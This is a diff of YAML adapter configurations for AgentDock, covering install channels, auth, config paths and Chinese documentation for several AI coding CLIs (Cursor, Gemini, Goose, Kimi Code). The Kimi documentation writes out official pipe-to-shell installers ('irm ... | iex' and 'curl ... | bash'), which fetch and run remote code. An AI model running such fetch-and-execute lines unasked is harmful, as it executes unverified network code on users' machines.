- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后配置 API Key,运行 `crush` 进入会话,或用 `crush -p "提示词"` 无头执行。
|
||||
install_zh: Windows 推荐 winget `charmbracelet.crush`;Ubuntu 用官方 apt 仓库(GPG)。备选 npm `@charmland/crush` / scoop / GitHub Releases。
|
||||
auth_zh: 仅 API Key(环境变量注入):OPENAI_API_KEY / ANTHROPIC_API_KEY 等各家模型 Key。crushrc 内也可用 export 语句。
|
||||
commands:
|
||||
- cmd: crush
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: crush "提示词"
|
||||
desc_zh: 直接以提示词启动
|
||||
- cmd: crush -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: crush --session <名称>
|
||||
desc_zh: 指定会话名
|
||||
- cmd: crush --continue
|
||||
desc_zh: 续接最近会话
|
||||
- cmd: crush --list-sessions
|
||||
desc_zh: 列出会话
|
||||
- cmd: crush --model <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: crush --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式单次执行
|
||||
- param: --session
|
||||
desc_zh: 指定会话名
|
||||
- param: --continue
|
||||
desc_zh: 续接最近会话
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --list-sessions
|
||||
desc_zh: 列出会话
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- crushrc 是 Bash 语法配置,AgentDock 走专用解析器,只识别内建赋值、不执行任意脚本
|
||||
- --version 官方未确认,适配器已标 version_unconfirmed(命令细节以 `crush --help` 实测为准)
|
||||
- FSL 许可:仅引导官方安装,不重分发源码、不修改二进制
|
||||
|
||||
+152
-21
@@ -1,28 +1,159 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Cursor CLI(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||
# 真机:agent --version → 2026.08.11-e8db854;配置 ~/.cursor/cli-config.json(JSON)。
|
||||
# 铁律:命令名是 `agent`(不是 cursor-agent);只有官方脚本渠道,无 npm。
|
||||
# ============================================================
|
||||
id: cursor
|
||||
name: Cursor CLI
|
||||
name_zh: Cursor CLI
|
||||
vendor: Cursor
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: 专有(仅官方渠道安装、不重打包)
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 仅官方脚本渠道;命令名为 agent
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://cursor.com
|
||||
docs: https://cursor.com/docs/cli
|
||||
allowed_hosts: [cursor.com, api2.cursor.sh]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
install:
|
||||
preferred: official_script
|
||||
channels:
|
||||
- id: official_script
|
||||
platforms: [windows]
|
||||
script:
|
||||
url: https://cursor.com/install?win32=true
|
||||
kind: powershell_irm
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [linux]
|
||||
script:
|
||||
url: https://cursor.com/install
|
||||
kind: bash_pipe
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: agent
|
||||
version_args: ["--version"]
|
||||
version_regex: "^(\\d{4}\\.\\d{2}\\.\\d{2})"
|
||||
path_hints:
|
||||
- "%LOCALAPPDATA%\\cursor-agent\\agent.cmd"
|
||||
|
||||
update:
|
||||
method: self_update_cmd
|
||||
command: [agent, update]
|
||||
|
||||
uninstall:
|
||||
method: manual_delete
|
||||
command: []
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: browser_oauth
|
||||
command: [agent, login]
|
||||
status_command: [agent, status]
|
||||
notes_zh: 浏览器登录 Cursor 账号(NO_OPEN_BROWSER 可禁用自动打开浏览器)
|
||||
- mode: api_key
|
||||
env_keys: [CURSOR_API_KEY]
|
||||
notes_zh: API Key(CURSOR_API_KEY 环境变量或 --api-key 参数)
|
||||
|
||||
# 配置机制(真机实测):~/.cursor/cli-config.json(JSON)。
|
||||
# 账户体系为主(authInfo 存 OAuth 登录态);model.modelId / approvalMode 可经文件或 agent 命令调整。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.cursor/cli-config.json"
|
||||
format: json
|
||||
scope: user
|
||||
environment:
|
||||
- key: CURSOR_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: model.modelId
|
||||
label_zh: 默认模型
|
||||
group: common
|
||||
help_zh: 官方键 model.modelId,默认模型(真机为 default,即 auto)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://cursor.com/docs/cli
|
||||
- id: approvalMode
|
||||
label_zh: 审批模式
|
||||
group: advanced
|
||||
help_zh: 官方键 approvalMode(allowlist / yolo / default 等)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://cursor.com/docs/cli
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 CURSOR_API_KEY 环境变量;一般用账号登录即可,无需 API Key)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://cursor.com/docs/cli
|
||||
|
||||
models:
|
||||
command: [agent, --list-models]
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `agent login` 登录 Cursor 账号,或用 `agent -p "提示词"` 无头执行。
|
||||
install_zh: 仅官方脚本渠道(Windows `https://cursor.com/install?win32=true` / Linux `https://cursor.com/install`),无 npm。`agent` 命令随 Cursor 安装(也可在 Cursor 内「Install agent command」)。
|
||||
auth_zh: ① 浏览器登录:`agent login`(`agent status` 查看状态);② API Key:CURSOR_API_KEY 环境变量或 --api-key。
|
||||
commands:
|
||||
- cmd: agent
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: agent -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: agent login
|
||||
desc_zh: 浏览器登录 Cursor 账号
|
||||
- cmd: agent status
|
||||
desc_zh: 查看认证状态
|
||||
- cmd: agent --model <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: agent update
|
||||
desc_zh: 更新到最新版
|
||||
- cmd: agent --list-models
|
||||
desc_zh: 列出可用模型
|
||||
- cmd: agent --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式执行后退出
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式(text / json / stream-json)
|
||||
- param: --sandbox
|
||||
desc_zh: 沙箱模式(enabled / disabled)
|
||||
- param: --list-models
|
||||
desc_zh: 列出可用模型
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 命令名是 `agent`(不是 cursor-agent),detect 以 agent 为准
|
||||
- 真机 `agent --version` 返回日期式版本 2026.08.11-e8db854(version_regex 已据此填写)
|
||||
- 账户体系为主,cli-config.json 高级键本表单只覆盖常用项,以官方文档为准
|
||||
|
||||
+55
-11
@@ -1,5 +1,5 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器 · Google Gemini CLI(Wave 2 全字段)
|
||||
# AgentDock 适配器 · Google Gemini CLI(Wave 2.1)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md §3 + 架构 §3.3
|
||||
# ============================================================
|
||||
id: gemini
|
||||
@@ -7,7 +7,7 @@ name: Gemini CLI
|
||||
name_zh: Gemini CLI
|
||||
vendor: Google
|
||||
status: available
|
||||
adapter_version: 1.0.0
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
@@ -46,6 +46,9 @@ detect:
|
||||
update:
|
||||
method: npm_update
|
||||
command: [npm, update, -g, "@google/gemini-cli"]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@google/gemini-cli"
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
@@ -61,6 +64,9 @@ authorization:
|
||||
env_keys: [GEMINI_API_KEY]
|
||||
notes_zh: 设置 GEMINI_API_KEY 环境变量(AI Studio 申请)
|
||||
|
||||
# 配置机制(调研底稿 §3「配置机制」):用户级 ~/.gemini/settings.json(JSON,官方发布 JSON Schema)
|
||||
# 关键键:model.name(默认模型)、security.auth.selectedType(认证方式);
|
||||
# 环境变量:GEMINI_API_KEY / GOOGLE_GEMINI_BASE_URL(须 HTTPS)/ GEMINI_MODEL。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.gemini/settings.json"
|
||||
@@ -70,31 +76,43 @@ configuration:
|
||||
- key: GEMINI_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
- key: GOOGLE_GEMINI_BASE_URL
|
||||
sensitive: false
|
||||
maps_to_field: base_url
|
||||
fields:
|
||||
- id: model.name
|
||||
label_zh: 默认模型
|
||||
help_zh: Gemini CLI 使用的默认模型
|
||||
group: common
|
||||
help_zh: 官方键 model.name,settings.json 中的默认模型
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://geminicli.com/docs/reference/configuration/
|
||||
- id: env.GOOGLE_GEMINI_BASE_URL
|
||||
label_zh: Base URL
|
||||
help_zh: 覆盖 Gemini API 默认地址(须 HTTPS,代理/网关场景)
|
||||
group: advanced
|
||||
help_zh: 官方环境变量 GOOGLE_GEMINI_BASE_URL(覆盖 Gemini API 默认地址,须 HTTPS,代理/网关场景);写入 settings.json 的 env 块
|
||||
required: false
|
||||
sensitive: false
|
||||
type: url
|
||||
storage: file
|
||||
docs_url: https://geminicli.com/docs/reference/configuration/
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
help_zh: 存入系统密钥库(对应 GEMINI_API_KEY)
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应环境变量 GEMINI_API_KEY,AI Studio 申请)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://geminicli.com/docs/get-started/authentication/
|
||||
|
||||
models:
|
||||
list:
|
||||
- id: gemini-3-pro
|
||||
label_zh: Gemini 3 Pro
|
||||
- id: gemini-2.5-flash
|
||||
label_zh: Gemini 2.5 Flash
|
||||
- id: gemini-2.5-pro
|
||||
label_zh: Gemini 2.5 Pro
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
@@ -104,13 +122,39 @@ diagnostics:
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `gemini` 登录,或用 `gemini -p "提示词"` 无头执行。
|
||||
quickstart_zh: 安装后运行 `gemini` 选「Sign in with Google」登录,或用 `gemini -p "提示词"` 无头执行。
|
||||
install_zh: 推荐 `npm install -g @google/gemini-cli`(需 Node 20+);免安装可用 `npx @google/gemini-cli` 临时试用。
|
||||
auth_zh: ① Google 账号 OAuth:运行 `gemini` 选「Sign in with Google」浏览器登录(免费档 60 请求/分钟);② API Key:设置 GEMINI_API_KEY 环境变量(AI Studio 申请,免费档 1000 请求/天);③ Vertex AI 走 ADC/服务账号(本表单不覆盖)。
|
||||
commands:
|
||||
- cmd: gemini
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: gemini -p "提示词"
|
||||
desc_zh: 强制非交互单次执行
|
||||
updated_at: "2026-08-24"
|
||||
desc_zh: 强制非交互模式,单次执行
|
||||
- cmd: gemini -p "提示词" --output-format json
|
||||
desc_zh: 以 JSON 输出结果
|
||||
- cmd: gemini -m <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: gemini -i
|
||||
desc_zh: 执行后进入交互模式
|
||||
- cmd: gemini --version
|
||||
desc_zh: 显示版本号
|
||||
- cmd: npx @google/gemini-cli
|
||||
desc_zh: 免安装临时运行
|
||||
- cmd: GEMINI_API_KEY=<key> gemini
|
||||
desc_zh: 用 API Key 环境变量启动
|
||||
params:
|
||||
- param: -p / --prompt
|
||||
desc_zh: 强制非交互模式
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式(text / json / stream-json)
|
||||
- param: -m / --model
|
||||
desc_zh: 指定模型
|
||||
- param: -i
|
||||
desc_zh: 执行后转交互
|
||||
- param: -v / --version
|
||||
desc_zh: 显示版本号并退出
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 官方发行形态为 npm 包,依赖 Node 20+,适配器已声明运行时门槛
|
||||
- Windows 官方要求 11 24H2+,低版本 Win10 显示「官方未支持」
|
||||
- Vertex AI(ADC/服务账号)与 security.auth.selectedType 高级配置本表单不覆盖,以官方文档为准
|
||||
|
||||
+147
-21
@@ -1,28 +1,154 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Goose(Linux 基金会 AAIF / Block)(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# 注意:配置 YAML;Windows 路径差异 %APPDATA%\Block\goose\config\;密钥默认进系统钥匙串。
|
||||
# ============================================================
|
||||
id: goose
|
||||
name: Goose
|
||||
name_zh: Goose
|
||||
vendor: Linux 基金会(AAIF)
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 官方 download_cli.ps1;配置位于 %APPDATA%\Block\goose\config\
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://block.github.io/goose/
|
||||
docs: https://block.github.io/goose/docs/
|
||||
allowed_hosts: [github.com, api.github.com, raw.githubusercontent.com, block.github.io]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
install:
|
||||
preferred: official_script
|
||||
channels:
|
||||
- id: official_script
|
||||
platforms: [windows]
|
||||
script:
|
||||
url: https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1
|
||||
kind: powershell_irm
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [linux]
|
||||
script:
|
||||
url: https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh
|
||||
kind: bash_pipe
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: github_release
|
||||
platforms: [windows, linux]
|
||||
package: goose
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: goose
|
||||
version_args: ["--version"]
|
||||
|
||||
update:
|
||||
method: self_update_cmd
|
||||
command: [goose, update]
|
||||
source:
|
||||
kind: github
|
||||
repo: aaif-goose/goose
|
||||
|
||||
uninstall:
|
||||
method: manual_delete
|
||||
command: []
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: api_key
|
||||
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||
notes_zh: 各家模型 API Key(密钥默认进系统钥匙串);另有订阅 ACP 接入
|
||||
|
||||
# 配置机制(调研底稿 Goose 章节):YAML。密钥默认进系统钥匙串,不写入 config.yaml。
|
||||
# 按平台选型(引擎按 files[].platforms 过滤当前平台):
|
||||
# Windows -> %APPDATA%\Block\goose\config\config.yaml(比旧版多一层 config\)
|
||||
# Linux -> ~/.config/goose/config.yaml
|
||||
configuration:
|
||||
files:
|
||||
- path: "%APPDATA%\\Block\\goose\\config\\config.yaml"
|
||||
format: yaml
|
||||
scope: user
|
||||
platforms: [windows]
|
||||
- path: "~/.config/goose/config.yaml"
|
||||
format: yaml
|
||||
scope: user
|
||||
platforms: [linux]
|
||||
environment:
|
||||
- key: ANTHROPIC_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: GOOSE_PROVIDER
|
||||
label_zh: 默认 Provider
|
||||
group: common
|
||||
help_zh: 官方键 GOOSE_PROVIDER(如 anthropic / openai / databricks / ollama 等)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://block.github.io/goose/docs/
|
||||
- id: GOOSE_MODEL
|
||||
label_zh: 默认模型
|
||||
group: common
|
||||
help_zh: 官方键 GOOSE_MODEL,默认模型
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://block.github.io/goose/docs/
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统钥匙串(Goose 密钥本就默认进系统钥匙串,不写入 config.yaml)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://block.github.io/goose/docs/
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后配置 provider 与 API Key,运行 `goose` 进入会话,或用 `goose -p "提示词"` 无头执行。
|
||||
install_zh: Windows 用官方 download_cli.ps1;Ubuntu 用官方 download_cli.sh。备选 GitHub Releases 二进制 / brew / deb。
|
||||
auth_zh: ① API Key:各家模型 Key(Anthropic/OpenAI 等),密钥默认进系统钥匙串;② 订阅 ACP(Agent Client Protocol)接入。
|
||||
commands:
|
||||
- cmd: goose
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: goose -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: goose configure
|
||||
desc_zh: 交互式配置 provider/模型
|
||||
- cmd: goose --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式执行后退出
|
||||
- param: --provider
|
||||
desc_zh: 指定 provider
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --version
|
||||
desc_zh: 显示版本号
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 安装 URL 与配置路径已按官方与调研底稿核对(aaif-goose 仓库;Windows 为 %APPDATA%\Block\goose\config\config.yaml,Linux 为 ~/.config/goose/config.yaml)
|
||||
- Windows 配置路径比旧版多一层 config\(%APPDATA%\Block\goose\config\),引擎按 files[].platforms 选型
|
||||
- 密钥默认进系统钥匙串,AgentDock 与之对齐,不把 Key 写入 config.yaml
|
||||
- extensions / profiles 等高级配置本表单不覆盖,以官方文档为准
|
||||
|
||||
+101
-56
@@ -1,57 +1,52 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器 · Kimi CLI(月之暗面 Moonshot)(Wave 2 全字段)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md(Kimi 章节)+ 架构 §3.3
|
||||
# 铁律:只走官方 code.kimi.com 脚本 / PyPI kimi-cli,严禁 npm(仿名包)。
|
||||
# AgentDock 适配器 · Kimi Code CLI(月之暗面 Moonshot)(Wave 3.1 换代)
|
||||
# 换代依据:老板实测官方现行安装已切换至 kimi-code 线,本适配器弃用旧 kimi-cli(PyPI)线。
|
||||
# 核对来源(当日官方页面为准,2026-08-25):
|
||||
# - 仓库/README:https://github.com/MoonshotAI/kimi-code
|
||||
# - 官方文档:https://moonshotai.github.io/kimi-code/en/
|
||||
# - 配置:https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||
# - 数据位置:https://moonshotai.github.io/kimi-code/en/configuration/data-locations.html
|
||||
# ============================================================
|
||||
id: kimi
|
||||
name: Kimi CLI
|
||||
name_zh: Kimi CLI
|
||||
name: Kimi Code CLI
|
||||
name_zh: Kimi Code CLI
|
||||
vendor: 月之暗面
|
||||
status: available
|
||||
adapter_version: 1.0.0
|
||||
license: Apache-2.0
|
||||
adapter_version: 1.2.0
|
||||
license: MIT
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 原生支持(PowerShell 脚本安装,非 WSL)
|
||||
notes: 原生支持(官方 PowerShell 脚本安装,需 Git for Windows 作 shell 环境)
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://github.com/MoonshotAI/kimi-cli
|
||||
docs: https://moonshotai.github.io/kimi-cli/en/guides/getting-started.html
|
||||
allowed_hosts: [code.kimi.com, pypi.org, github.com]
|
||||
homepage: https://github.com/MoonshotAI/kimi-code
|
||||
docs: https://moonshotai.github.io/kimi-code/en/
|
||||
allowed_hosts: [code.kimi.com, moonshotai.github.io, github.com, api.github.com, api.kimi.com, api.moonshot.cn]
|
||||
|
||||
runtime_deps:
|
||||
- id: uv
|
||||
- id: git
|
||||
semver_range: ">=0"
|
||||
required_for: [install]
|
||||
- id: python
|
||||
semver_range: ">=3.12"
|
||||
required_for: [run]
|
||||
|
||||
install:
|
||||
preferred: pypi_uv
|
||||
preferred: official_script
|
||||
channels:
|
||||
- id: pypi_uv
|
||||
platforms: [windows, linux]
|
||||
command: [uv, tool, install, kimi-cli]
|
||||
package: kimi-cli
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [windows]
|
||||
script:
|
||||
url: https://code.kimi.com/install.ps1
|
||||
url: https://code.kimi.com/kimi-code/install.ps1
|
||||
kind: powershell_irm
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [linux]
|
||||
script:
|
||||
url: https://code.kimi.com/install.sh
|
||||
url: https://code.kimi.com/kimi-code/install.sh
|
||||
kind: bash_pipe
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
@@ -61,76 +56,126 @@ detect:
|
||||
version_args: ["--version"]
|
||||
|
||||
update:
|
||||
method: pypi_upgrade
|
||||
command: [uv, tool, upgrade, kimi-cli]
|
||||
method: manual
|
||||
command: []
|
||||
source:
|
||||
kind: github
|
||||
repo: MoonshotAI/kimi-code
|
||||
|
||||
uninstall:
|
||||
method: package_manager
|
||||
command: [uv, tool, uninstall, kimi-cli]
|
||||
method: manual_delete
|
||||
command: []
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: browser_oauth
|
||||
command: [kimi, login]
|
||||
notes_zh: Kimi Code 浏览器 OAuth(推荐)
|
||||
command: [kimi]
|
||||
notes_zh: 运行 kimi 后在界面输入 /login,选 Kimi Code OAuth(推荐)
|
||||
- mode: api_key
|
||||
env_keys: [KIMI_API_KEY]
|
||||
notes_zh: Moonshot 开放平台 API Key
|
||||
notes_zh: Moonshot 开放平台 API Key(官方写入 config.toml providers;AgentDock 密钥存系统密钥库)
|
||||
credential_files:
|
||||
- "~/.kimi-code/credentials"
|
||||
test:
|
||||
url: https://api.moonshot.cn/v1/models
|
||||
key_header: Authorization
|
||||
bearer: true
|
||||
|
||||
# 配置机制(官方 config-files 文档):~/.kimi-code/config.toml(TOML,snake_case)
|
||||
# 常用字段:default_model / default_permission_mode(manual|yolo|auto)/ default_plan_mode;
|
||||
# providers 表(type/base_url/api_key)、models 表(模型别名)。默认模型别名必须定义在 models 表。
|
||||
# 环境变量:KIMI_CODE_HOME(数据目录)、KIMI_MODEL_*(临时模型),密钥不自动从 shell 环境变量读取。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.kimi/config.toml"
|
||||
- path: "~/.kimi-code/config.toml"
|
||||
format: toml
|
||||
scope: user
|
||||
environment:
|
||||
- key: KIMI_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
- key: KIMI_BASE_URL
|
||||
sensitive: false
|
||||
maps_to_field: base_url
|
||||
environment: []
|
||||
fields:
|
||||
- id: default_model
|
||||
label_zh: 默认模型
|
||||
help_zh: Kimi CLI 使用的默认模型
|
||||
group: common
|
||||
help_zh: 官方键 default_model(模型别名,须已在 models 表定义),如 kimi-code/k3
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
- id: env.KIMI_BASE_URL
|
||||
label_zh: Base URL
|
||||
help_zh: 自定义 OpenAI 兼容端点
|
||||
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||
- id: default_permission_mode
|
||||
label_zh: 权限模式
|
||||
group: advanced
|
||||
help_zh: 官方键 default_permission_mode,新会话默认权限模式
|
||||
required: false
|
||||
sensitive: false
|
||||
type: url
|
||||
type: enum
|
||||
storage: file
|
||||
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||
options:
|
||||
- value: manual
|
||||
label_zh: 手动确认(每次询问)
|
||||
- value: yolo
|
||||
label_zh: 自动放行(可能仍会提问)
|
||||
- value: auto
|
||||
label_zh: 全自动(自主决定)
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
help_zh: 存入系统密钥库(对应 KIMI_API_KEY)
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(Moonshot 开放平台 API Key;官方也支持写入 config.toml providers.api_key,AgentDock 密钥不落明文)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://moonshotai.github.io/kimi-code/en/configuration/config-files.html
|
||||
|
||||
# 模型清单(官方 config-files 示例中 /login 预置的 managed:kimi-code 别名)
|
||||
models:
|
||||
list:
|
||||
- id: kimi-code/k3
|
||||
label_zh: K3(旗舰推理)
|
||||
- id: kimi-code/kimi-for-coding
|
||||
label_zh: Kimi for Coding(均衡)
|
||||
- id: kimi-code/kimi-for-coding-highspeed
|
||||
label_zh: Kimi for Coding 高速版
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: dependency.uv
|
||||
- rule_id: dependency.python_below_min
|
||||
- rule_id: dependency.git
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `kimi login` 登录,或用 `kimi -p "提示词"` 无头执行。
|
||||
quickstart_zh: 安装后运行 `kimi` 进入交互界面,首次启动输入 `/login` 选 Kimi Code OAuth 或 Moonshot API Key;也可 `kimi -p "提示词"` 无头执行。
|
||||
install_zh: 只走官方脚本:Windows `irm https://code.kimi.com/kimi-code/install.ps1 | iex`,macOS/Linux `curl -fsSL https://code.kimi.com/kimi-code/install.sh | bash`(单二进制发行,无需 Node.js)。Windows 首次启动前需装 Git for Windows(作 shell 环境)。
|
||||
auth_zh: ① Kimi Code OAuth(推荐,TUI 内 /login);② Moonshot 开放平台 API Key。登录凭据存于 `~/.kimi-code/credentials/`,/logout 清除。
|
||||
commands:
|
||||
- cmd: kimi
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: kimi login
|
||||
desc_zh: 登录(浏览器 OAuth 或 API Key)
|
||||
desc_zh: 启动交互式会话(TUI)
|
||||
